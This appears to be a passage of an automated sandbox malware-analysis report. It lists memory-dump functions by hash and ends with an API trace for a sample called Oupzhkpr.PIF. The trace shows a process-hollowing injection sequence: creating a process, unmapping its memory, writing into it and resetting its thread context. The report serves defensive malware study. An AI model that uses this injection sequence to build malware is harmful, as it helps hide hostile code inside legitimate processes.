Opcode ID: 82b250bd1e27aac2c9cb36215757db5f6de846510cde29e70b09672a88661b0c
Instruction ID: 52ea737c1bcd32b2d3f363ebf82c46e97afab4c145acee2b4c798f4c1ed56712
Opcode Fuzzy Hash: 82b250bd1e27aac2c9cb36215757db5f6de846510cde29e70b09672a88661b0c
Instruction Fuzzy Hash: 96116B312087849FD726C7B8D5556697FF4DF46220B0848EEE48ECB7B2CA20BC44C701

Function 047CF027 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.23005970295.00000000047CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 047CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_47cd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83d3e3f3484f8d166536a233845b01df7966700ac57024a53152c6775b246156
Instruction ID: b4b5d05e69b8c703205db738169979df61f84ad299381e2e499d4b68b9af628f
Opcode Fuzzy Hash: 83d3e3f3484f8d166536a233845b01df7966700ac57024a53152c6775b246156
Instruction Fuzzy Hash: 7311BE75504280CFCB11CF14D5C4B15BF62FB44314F24CAAED8494B796C33AE44ACB52

Function 047CD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.23005970295.00000000047CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 047CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_47cd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04cbb00a2c56f1f0430c04f9e1a21d2425e406ff6ec60ad5cb882b28029b7de1
Instruction ID: 79973088b8c09b94f13285b4b7fecc9780956b63b8573372043042a63334f902
Opcode Fuzzy Hash: 04cbb00a2c56f1f0430c04f9e1a21d2425e406ff6ec60ad5cb882b28029b7de1
Instruction Fuzzy Hash: F40184326043409BE7208F2EDD84766BB98EB41364F18C82EED440B356D279A885C6B1

Function 047CD005 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.23005970295.00000000047CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 047CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_47cd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bd63c5cc369a6db55b62c03d1ef67ab85b266edd87d12d8ff86369066aac47c
Instruction ID: b1ef613afe2cea2382cd02a1f8e4e20a79050010200155bea4532f7d6ce4b6c9
Opcode Fuzzy Hash: 8bd63c5cc369a6db55b62c03d1ef67ab85b266edd87d12d8ff86369066aac47c
Instruction Fuzzy Hash: 1F01216150D3C09ED7128B259C94B62BFA4DF43224F1DC5DFD9848F293C2695848C772

Function 06CCF5C9 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.23023795011.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7c781bbf941780197b6e120db1c9cb4c6e8e79165b9b563dedff29a683fd312
Instruction ID: ad3aff0bb33b5c4dd0dc51a3a9cec8fd34fc24bd3a5283f97de0ccdb4c2ab4ae
Opcode Fuzzy Hash: f7c781bbf941780197b6e120db1c9cb4c6e8e79165b9b563dedff29a683fd312
Instruction Fuzzy Hash: 1DF0313524E3D11FD3078668D8545D5BF62AF83214F1990FBC254CF3A3CA258C0B83A1

Function 047CD9A7 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.23005970295.00000000047CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 047CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_47cd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f08abfa460235c82279eb8cfcd254232cd86f4259b9c60467431a03cc76b6ca5
Instruction ID: 5d02209212c5556619e32c5ff46efa8d0be9c4ab0f6396587c0bf3c60fb58f8b
Opcode Fuzzy Hash: f08abfa460235c82279eb8cfcd254232cd86f4259b9c60467431a03cc76b6ca5
Instruction Fuzzy Hash: FEF0E776600600AF97208F0AD985C26FBE9EBD4770715C56EE84A4B712C671FC42CEA0

Function 06CC86EF Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.23023795011.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b456a72c77f434603d0d604045c7747802ecab68f4372e2558b206b442820546
Instruction ID: 69ab45cbf1c494ae31f23f25d1e1140ce2fa68b1e3ad17e9e16cd08bb67c5d89
Opcode Fuzzy Hash: b456a72c77f434603d0d604045c7747802ecab68f4372e2558b206b442820546
Instruction Fuzzy Hash: 36F0FC716082D48FD705AB7494583EF3FB1DFC1325F14809ED9454B395CD392845C7A6

Function 047CD998 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.23005970295.00000000047CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 047CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_47cd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd4fff58809099c5b25c5c561b213fa107af86f0df041c5e914330cf3e14e778
Instruction ID: e07965327ab704fabe9600653e0129282303de3ba28b3e769ee7256e4c10422e
Opcode Fuzzy Hash: cd4fff58809099c5b25c5c561b213fa107af86f0df041c5e914330cf3e14e778
Instruction Fuzzy Hash: 70F0F97A504680AFD725CF06CD85D23BBF9EB89720B19C49DA85A4B752C630FC42CF60

Function 06CC8700 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.23023795011.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d00a54e0dbc8dccede476f1139218f94e93af47bf3b777e0c9475c8f47fd9077
Instruction ID: 825980c87ca87e1eb8cc75ba836f08234514b853527b8c60a0ac92ce9b52a259
Opcode Fuzzy Hash: d00a54e0dbc8dccede476f1139218f94e93af47bf3b777e0c9475c8f47fd9077
Instruction Fuzzy Hash: A5F0A7B56042145BE3447B69D4587AF7BA6DBC0329F14812DC91A5B384CE3A3D058BE5

Function 06CCF020 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.23023795011.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5a47dfa6fce4c9d96caf2c56df6bc1d9ffa169870a4e954d8420ba1f9f9ff3b
Instruction ID: 39b3d6840afcc85c19181af3c94c0725a9fbaa4e955add5db40c30779f5ac7b2
Opcode Fuzzy Hash: d5a47dfa6fce4c9d96caf2c56df6bc1d9ffa169870a4e954d8420ba1f9f9ff3b
Instruction Fuzzy Hash: B2F0E23130A3505F8721AF3DB84884ABFF0EEC9220305466FE84AC7353C6748909CBA1

Function 06CC876F Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.23023795011.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bd9c72a57800d2568d7a7346ec79db0f812abca6eb8d3f6ad7b2dfb2158c418
Instruction ID: 9cb94bd6ebbb7c9eef6d0a122d6e9e1ec1e7d6d481c2339028fd56364ab6557f
Opcode Fuzzy Hash: 1bd9c72a57800d2568d7a7346ec79db0f812abca6eb8d3f6ad7b2dfb2158c418
Instruction Fuzzy Hash: A8F0587090A3008FD760EBB8D49C3AABFE2FB44310F1448AED18AC6681DBB958458B90

Function 06CC2C06 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.23023795011.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f400b95f91ea4542d8d858fea25551b7a873daedab04cef7dadecc1da585c196
Instruction ID: 2383d37adbe8070d0bd029d92cec6ec3644bd384c59f055030ee87cd8909b56b
Opcode Fuzzy Hash: f400b95f91ea4542d8d858fea25551b7a873daedab04cef7dadecc1da585c196
Instruction Fuzzy Hash: 0CF01235A001089FDB04CB8DD890AEEF7B1FF88324F208159E515A73A0C732E962CB60

Function 06CC8B58 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.23023795011.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bdb1cedbd025a695593ac4ed57c17f03d6926667e08a74d0d0fc20fd93be85d
Instruction ID: 2fceeef31ea6ba3fd0d7e25160d186ca1ef595e029e5d1e8daee5a5d7151a9ba
Opcode Fuzzy Hash: 6bdb1cedbd025a695593ac4ed57c17f03d6926667e08a74d0d0fc20fd93be85d
Instruction Fuzzy Hash: BBE0D82174B2B10BC7D961B91C24BBF5E8A5FC307574E01BEC644DB343C980C80643A1

Function 06CC7F68 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.23023795011.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de0e531be19091703fbfaed77d7ab895ddca69b2f3ef2489f9d1a789305c7408
Instruction ID: ffd9b314ca489a40a31f7ecd88410ca690a1febe1a56f9d60ffde9b5bb284878
Opcode Fuzzy Hash: de0e531be19091703fbfaed77d7ab895ddca69b2f3ef2489f9d1a789305c7408
Instruction Fuzzy Hash: 12F08C313092519FC749ABB4985C69EBB62ABC4329F0580AFD1098B783CF7558068796

Function 06CC8780 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.23023795011.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7ff8c79ac0ced1d75b0f05163a2e3539099bab45abc70e090084924763db896
Instruction ID: 5cbcc2866098322432b34a827f0dc39d314e05cf75b7290a31756e6466fced72
Opcode Fuzzy Hash: f7ff8c79ac0ced1d75b0f05163a2e3539099bab45abc70e090084924763db896
Instruction Fuzzy Hash: 92F0ED70A053049FD764ABB9D49C7ABBBE5FB44314F10446EE55EC7340DB3969448B90

Function 06CCF030 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.23023795011.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e6da0b1cb65799d3b4242c02baee4c2a02cc9c59bd191839942cc572a058f51
Instruction ID: c96df7ef8a944b7877a7dea5a9998863bf6186ea955fb87b30e923d8ed13110d
Opcode Fuzzy Hash: 4e6da0b1cb65799d3b4242c02baee4c2a02cc9c59bd191839942cc572a058f51
Instruction Fuzzy Hash: C8E01A327057249F8324AF6EB44485ABBE9FBC8661304452EE94AC3301DA74A9058BE5

Function 06CC7F78 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.23023795011.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a55853a30337eb20d14b4bc4b39ef6f1b9bd538e3f3916fdea34ea74c8c87b8f
Instruction ID: 07a7201b90aa50d1d5554e4476477f90ab3c7209e6601d5cf275cd746fc408df
Opcode Fuzzy Hash: a55853a30337eb20d14b4bc4b39ef6f1b9bd538e3f3916fdea34ea74c8c87b8f
Instruction Fuzzy Hash: 44E0863570C6149FCB097BB9A81C2AEBA5AEBC4725F04402ED50683742CF79590197D5

Function 06CCA5A0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.23023795011.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ef7c5dac38a914c86f0af85ed53347a3b19c53a2609a62b3b5cfe335fdf713c
Instruction ID: a71294d5027d7f28a15a0518a90b19b2aaccf0d2dbd9523b46b5cf492aba8cef
Opcode Fuzzy Hash: 3ef7c5dac38a914c86f0af85ed53347a3b19c53a2609a62b3b5cfe335fdf713c
Instruction Fuzzy Hash: 22D05B32B485551B4BC9616D681055A3AA7C7C657070984BEE558C7312EC11CC1A57D1

Function 06CC8B68 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.23023795011.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45951ff2173cad3fc891448dca58cb883ea6b1abfc71894bca768129cca72387
Instruction ID: 6eba385aada1de84e5235d880f259f8505d9fa05d9c4e230b6c359a0b3059a67
Opcode Fuzzy Hash: 45951ff2173cad3fc891448dca58cb883ea6b1abfc71894bca768129cca72387
Instruction Fuzzy Hash: F4D05E62B522350705D830EA2C3877BAACE8BC74B274A013EDB14D3345EC50DC0113F1

Function 06CCF631 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.23023795011.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57d2866c0797f6d4af13eeb9ce39f932fc19852bf26416183e86a4d44b818489
Instruction ID: b9aaed94f5f790d6c6ac7d5348887e41e8855a89edfa02415e6fcba8dc59df79
Opcode Fuzzy Hash: 57d2866c0797f6d4af13eeb9ce39f932fc19852bf26416183e86a4d44b818489
Instruction Fuzzy Hash: 7AE09270D052495F8340DFAC84021AEFFF4AB04210B1080EFC808D7202E63246029BD1

Function 06CC7D37 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.23023795011.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0db4242b1685a43706c9005a679e85225a0317807ec3f3471aa76743baf19071
Instruction ID: 9780a8082f75f4eaf59fae91854e2a78ed2c81caf6694c28363bfe04108ed81b
Opcode Fuzzy Hash: 0db4242b1685a43706c9005a679e85225a0317807ec3f3471aa76743baf19071
Instruction Fuzzy Hash: 62E04F3480D1898FCF0AEB64D49A8FDBF74DE42215B1001ADD91B96292DA31058FCF81

Function 06CC7E00 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.23023795011.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bbe8dbff536bdc16e2d7d855452593c7688757795a1eebfbde5de041b65d6b5
Instruction ID: 4fd90164eb424f67d8b4a71b07a0c67f47aa0c3111a69a216d62c881f22d061e
Opcode Fuzzy Hash: 2bbe8dbff536bdc16e2d7d855452593c7688757795a1eebfbde5de041b65d6b5
Instruction Fuzzy Hash: 25E04F34A08185DFDB44EF74D49A47D7FB1EB85204B00429DD885D7365DB312881CF81

Function 06CCF640 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.23023795011.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction ID: cf3beda674925b8e676c9e0172818a9e8af1835d99c2ec6c44abdf2490f080ce
Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction Fuzzy Hash: D2D067B1D042099F8780EFADC9415AEFBF4EF48214F6085AEC919E7311E7329A128FD1

Function 06CC7E10 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.23023795011.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cde2be6370ab4956efc443d6dc338c1b50e9b1a6a95f13a7fec4919d2060ca0
Instruction ID: 406f038fa0297fe788215a18fab4b5b16dcd81134c57b746d286afb053b1a06e
Opcode Fuzzy Hash: 5cde2be6370ab4956efc443d6dc338c1b50e9b1a6a95f13a7fec4919d2060ca0
Instruction Fuzzy Hash: A0D04234A182099F8B44EBA5E45646ABBB5EB84205F004269E90AD3751EA306D51CFD1

Function 06CC7D48 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.23023795011.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed23bdf6709b26db0b3a6c0ec2ee8c56821bbbf62072a346787a45056c5b2946
Instruction ID: c2b3eb38b2faaf3c3da8fe8eaab2ddfaedf2e0f69c611ec8365fda47f6aa3ecc
Opcode Fuzzy Hash: ed23bdf6709b26db0b3a6c0ec2ee8c56821bbbf62072a346787a45056c5b2946
Instruction Fuzzy Hash: CCD067308081099FCB08BBA5E85A4BDBF34EB54605F40416EE917D26D1AA30599ADED5

Non-executed Functions

Function 06CCB878 Relevance: 17.8, Strings: 14, Instructions: 282COMMON

Download Yara Rule

Strings

X`r, xrefs: 06CCB8EA
X`r, xrefs: 06CCB96E
$\r, xrefs: 06CCBC1C
X`r, xrefs: 06CCB92C
X`r, xrefs: 06CCBA36
$\r, xrefs: 06CCBC28
X`r, xrefs: 06CCBB86
X`r, xrefs: 06CCBA78
X`r, xrefs: 06CCBABA
X`r, xrefs: 06CCBB44
X`r, xrefs: 06CCBBC8
X`r, xrefs: 06CCB9B0
X`r, xrefs: 06CCB9F3
X`r, xrefs: 06CCBAFF

Memory Dump Source

Source File: 00000007.00000002.23023795011.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6cc0000_powershell.jbxd

Similarity

API ID:
String ID: X`r$X`r$X`r$X`r$X`r$X`r$X`r$X`r$X`r$X`r$X`r$X`r$$\r$$\r
API String ID: 0-446806649
Opcode ID: cafde7cd63c0b04d6a79fe91484a43ab5f164fa4e7844de4c30aa4efa06e3f51
Instruction ID: 2b80c06aae9210e3b2ee8b824f7ebc8ebb9e4fa3eb52dea2963d8cda5859bfae
Opcode Fuzzy Hash: cafde7cd63c0b04d6a79fe91484a43ab5f164fa4e7844de4c30aa4efa06e3f51
Instruction Fuzzy Hash: 1CC12974B043588FE7A8DF79C5947A9B7E2AF84300F2084BEC54AA7395DF349D418B52

Function 06CCB868 Relevance: 16.5, Strings: 13, Instructions: 274COMMON

Download Yara Rule

Strings

X`r, xrefs: 06CCB8EA
X`r, xrefs: 06CCB96E
$\r, xrefs: 06CCBC1C
X`r, xrefs: 06CCB92C
X`r, xrefs: 06CCBA36
X`r, xrefs: 06CCBB86
X`r, xrefs: 06CCBA78
X`r, xrefs: 06CCBABA
X`r, xrefs: 06CCBB44
X`r, xrefs: 06CCBBC8
X`r, xrefs: 06CCB9B0
X`r, xrefs: 06CCB9F3
X`r, xrefs: 06CCBAFF

Memory Dump Source

Source File: 00000007.00000002.23023795011.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6cc0000_powershell.jbxd

Similarity

API ID:
String ID: X`r$X`r$X`r$X`r$X`r$X`r$X`r$X`r$X`r$X`r$X`r$X`r$$\r
API String ID: 0-2487315717
Opcode ID: 777bb85f3e25b6a3e6cc33f1a453cf90cf7106d28caf95d56ded080fcfe8e740
Instruction ID: a998ed6a476c71bf2ce0e44019656044efe775a8b26c324183a760180c8b14fd
Opcode Fuzzy Hash: 777bb85f3e25b6a3e6cc33f1a453cf90cf7106d28caf95d56ded080fcfe8e740
Instruction Fuzzy Hash: E4B13874A053948FE7A89F78C5847A9B7F2AF84300F2084BEC54AA7395DF349D808B52

Function 077D3928 Relevance: 10.3, Strings: 8, Instructions: 328COMMON

Download Yara Rule

Strings

4'\r, xrefs: 077D3B29
$\r, xrefs: 077D3960
$\r, xrefs: 077D3C0E
$\r, xrefs: 077D396C
tP\r, xrefs: 077D39A5
$\r, xrefs: 077D393A
4'\r, xrefs: 077D3B35
tP\r, xrefs: 077D39B1

Memory Dump Source

Source File: 00000007.00000002.23027755201.00000000077D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_77d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'\r$4'\r$tP\r$tP\r$$\r$$\r$$\r$$\r
API String ID: 0-4015598155
Opcode ID: 9a1bce85d066de880c1f188d6c2a57fcdba6c75a86c7bc4ef0913c39721cda15
Instruction ID: e7e1a55a30460fc7754b9367fa577420ce6660c5a094a264cbdbed1de1231792
Opcode Fuzzy Hash: 9a1bce85d066de880c1f188d6c2a57fcdba6c75a86c7bc4ef0913c39721cda15
Instruction Fuzzy Hash: F6B156B2304342DFD7159A6988117BABBF29FC6291F18887BD449CB392DB71CC41C3A2

Function 077D1BE0 Relevance: 7.9, Strings: 6, Instructions: 392COMMON

Download Yara Rule

Strings

tP\r, xrefs: 077D1FEB
4'\r, xrefs: 077D1F95
4'\r, xrefs: 077D1F89
4'\r, xrefs: 077D1C92
tP\r, xrefs: 077D1FDF
4'\r, xrefs: 077D1C86

Memory Dump Source

Source File: 00000007.00000002.23027755201.00000000077D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_77d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'\r$4'\r$4'\r$4'\r$tP\r$tP\r
API String ID: 0-1384849700
Opcode ID: 3cbcdf989d691fbd2670687be0e8811bfbdc086bdf1cceb23d1380d687e949bf
Instruction ID: 4b11e82f0f21cd9f4ee109152b6605f53313dfb14d19e510d1709b32e9b24f16
Opcode Fuzzy Hash: 3cbcdf989d691fbd2670687be0e8811bfbdc086bdf1cceb23d1380d687e949bf
Instruction Fuzzy Hash: 02D14CB1B0430A8FD7259B6884107AABBF2AFC6251F55C4BBC545CB256DB31CC52C792

Function 077D0568 Relevance: 6.7, Strings: 5, Instructions: 406COMMON

Download Yara Rule

Strings

4'\r, xrefs: 077D096E
far, xrefs: 077D094B
4'\r, xrefs: 077D05F6
4'\r, xrefs: 077D0962
4'\r, xrefs: 077D05EC

Memory Dump Source

Source File: 00000007.00000002.23027755201.00000000077D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_77d0000_powershell.jbxd

Similarity

API ID:
String ID: far$4'\r$4'\r$4'\r$4'\r
API String ID: 0-3332724161
Opcode ID: efa90702ed0f0c5a54dc3567a604970d584ac32043c115d55bd1b78f65e96fa5
Instruction ID: 805fe948a4ee6a6f8fe4ac9fd682bf4781781f396476da38af4fa3a1d6d017b3
Opcode Fuzzy Hash: efa90702ed0f0c5a54dc3567a604970d584ac32043c115d55bd1b78f65e96fa5
Instruction Fuzzy Hash: 36D127B17043519FD7159BB89410BAA7BB2AFC6260F14C4BBD845CB296DB718C82C7A2

Function 077D3678 Relevance: 6.4, Strings: 5, Instructions: 186COMMON

Download Yara Rule

Strings

$\r, xrefs: 077D3836
4'\r, xrefs: 077D3722
$\r, xrefs: 077D37FF
$\r, xrefs: 077D382A
4'\r, xrefs: 077D372E

Memory Dump Source

Source File: 00000007.00000002.23027755201.00000000077D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_77d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'\r$4'\r$$\r$$\r$$\r
API String ID: 0-983056022
Opcode ID: 70a61c17b639639161d0ab4341db2c339c99a371f1139c9d0c5eb8ca63fd4a91
Instruction ID: 2f92027c10bdca320367703a0ab45afaac882a04ffde6cec3ac8694630a44332
Opcode Fuzzy Hash: 70a61c17b639639161d0ab4341db2c339c99a371f1139c9d0c5eb8ca63fd4a91
Instruction Fuzzy Hash: 475125F6704302DFDB258A6888517A6BBF29FC66A1F24887BC445CB255DB71CC81C7A3

Function 077D5798 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$\r, xrefs: 077D5800
$\r, xrefs: 077D57F4
$\r, xrefs: 077D57AA
$\r, xrefs: 077D57C6

Memory Dump Source

Source File: 00000007.00000002.23027755201.00000000077D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_77d0000_powershell.jbxd

Similarity

API ID:
String ID: $\r$$\r$$\r$$\r
API String ID: 0-937398501
Opcode ID: 8d78c3c152011521acc33aef33a16d36b6233089d3bb315abb4871ec54152b95
Instruction ID: 2e2545c5acd87d7c1241c161dc000b2552200cd9ca4a9231894717cb9a063881
Opcode Fuzzy Hash: 8d78c3c152011521acc33aef33a16d36b6233089d3bb315abb4871ec54152b95
Instruction Fuzzy Hash: 3D2129B2300352E7EB24557A8850B7BB7E6ABC56A1F34883BD905DB385DEB1CC508351

Analysis Process: Oupzhkpr.PIFPID: 3888, Parent PID: 4972COMMON

Execution Graph

Execution Coverage:	9.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	178
Total number of Limit Nodes:	14

Executed Functions

Function 02E28BA8 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1654
threadnativeinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02E2881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02E28903), ref: 02E28860
Part of subcall function 02E2881C: GetProcAddress.KERNEL32(02E71384,00000000), ref: 02E28879
Part of subcall function 02E2881C: FreeLibrary.KERNEL32(02E71384,00000000,02E71388,Function_000055D8,00000004,02E71398,02E71388,000186A3,00000040,02E7139C,02E71384,00000000,00000000,00000000,00000000,02E28903), ref: 02E288E3

Part of subcall function 02E285D4: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02E28660

GetThreadContext.KERNEL32(02E713D0,02E71420,ScanString,02E713A4,02E2A774,UacInitialize,02E713A4,02E2A774,ScanBuffer,02E713A4,02E2A774,ScanBuffer,02E713A4,02E2A774,UacInitialize,02E713A4), ref: 02E2943A

Part of subcall function 02E2824C: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 02E282BD

Part of subcall function 02E284BC: NtUnmapViewOfSection.NTDLL(?,?), ref: 02E28521

Part of subcall function 02E279AC: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02E27A1F

Part of subcall function 02E27CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02E27D6C

SetThreadContext.KERNEL32(02E713D0,02E71420,ScanBuffer,02E713A4,02E2A774,ScanString,02E713A4,02E2A774,Initialize,02E713A4,02E2A774,02E713CC,02E714BC,02E714F8,00000004,02E714FC), ref: 02E2A14F
